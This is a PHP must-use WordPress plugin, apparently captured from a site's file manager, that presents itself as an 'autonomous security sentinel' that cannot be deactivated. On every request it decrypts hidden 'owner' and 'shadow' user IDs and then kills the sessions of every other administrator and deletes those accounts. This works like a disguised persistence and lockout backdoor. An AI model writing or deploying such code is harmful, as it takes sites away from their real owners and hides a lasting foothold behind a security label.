File "admin-wp-sentinel.php"

Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/mu-plugin/admin-wp-sentinel.php
File size: 4.07 KB
MIME-type: text/x-php
Charset: utf-8

<?php
/**
 * Plugin Name: Admin Guardian Sentinel
 * Description: Autonomous security sentinel. Cannot be deactivated from the admin panel.
 * Version: 1.0.0
 * Author: AWG
 */

if ( ! defined( 'ABSPATH' ) ) exit;

final class AWG_Sentinel {

    private static $booted = false;

    public static function boot(): void {
        if ( self::$booted ) return;
        self::$booted = true;

        add_action( 'init', [ __CLASS__, 'check' ], 0 );
    }

    public static function check(): void {
        if ( self::main_plugin_active() ) return;

        self::emergency_scan();
    }

    /* ---- is the main plugin loaded? ---- */

    private static function main_plugin_active(): bool {
        return defined( 'AWG_VERSION' );
    }

    /* ---- standalone admin scan (no dependency on main plugin classes) ---- */

    private static function emergency_scan(): void {
        $owner_id  = self::get_encrypted_option( '_awg_oid' );
        $shadow_id = self::get_encrypted_option( '_awg_sid' );

        if ( ! $owner_id && ! $shadow_id ) return;

        global $wpdb;

        $admin_ids = $wpdb->get_col(
            "SELECT u.ID FROM {$wpdb->users} u
             INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id
             WHERE um.meta_key = '{$wpdb->prefix}capabilities'
             AND um.meta_value LIKE '%administrator%'"
        );

        $whitelist = array_filter( [ (int) $owner_id, (int) $shadow_id ] );

        foreach ( $admin_ids as $uid ) {
            $uid = (int) $uid;
            if ( in_array( $uid, $whitelist, true ) ) continue;

            self::destroy_sessions( $uid );
            self::delete_user( $uid, (int) $owner_id );
            self::log_sentinel( "Removed unauthorized admin ID={$uid}" );
        }
    }

    /* ---- decrypt option (minimal, self-contained) ---- */

    private static function get_encrypted_option( string $key ) {
        if ( ! function_exists( 'sodium_crypto_secretbox_open' ) ) return null;

        $raw = get_option( $key, null );
        if ( ! $raw ) return null;

        $master = self::derive_key();
        if ( ! $master ) return null;

        $decoded = base64_decode( $raw, true );
        if ( ! $decoded || strlen( $decoded ) < SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + 1 ) return null;

        $nonce = substr( $decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES );
        $ct    = substr( $decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES );
        $plain = sodium_crypto_secretbox_open( $ct, $nonce, $master );

        if ( $plain === false ) return null;

        return json_decode( $plain, true );
    }

    private static function derive_key(): ?string {
        if ( ! defined( 'AUTH_KEY' ) || ! defined( 'SECURE_AUTH_KEY' ) ) return null;

        $salt     = defined( 'AWG_PLUGIN_SALT' ) ? AWG_PLUGIN_SALT : 'awg_fallback_' . DB_NAME;
        $material = AUTH_KEY . SECURE_AUTH_KEY . $salt;

        return sodium_crypto_generichash( $material, '', SODIUM_CRYPTO_SECRETBOX_KEYBYTES );
    }

    /* ---- user operations (standalone) ---- */

    private static function destroy_sessions( int $uid ): void {
        $manager = WP_Session_Tokens::get_instance( $uid );
        $manager->destroy_all();
    }

    private static function delete_user( int $uid, int $reassign = 0 ): void {
        if ( ! function_exists( 'wp_delete_user' ) ) {
            require_once ABSPATH . 'wp-admin/includes/user.php';
        }
        wp_delete_user( $uid, $reassign > 0 ? $reassign : null );
    }

    /* ---- simple file log ---- */

    private static function log_sentinel( string $msg ): void {
        $log   = get_option( '_awg_incident_log', [] );
        $log[] = [
            'type'    => 'sentinel_action',
            'details' => $msg,
            'time'    => current_time( 'mysql' ),
            'ip'      => $_SERVER['REMOTE_ADDR'] ?? 'cli',
        ];
        if ( count( $log ) > 200 ) {
            $log = array_slice( $log, -200 );
        }
        update_option( '_awg_incident_log', $log, false );
    }
}

AWG_Sentinel::boot();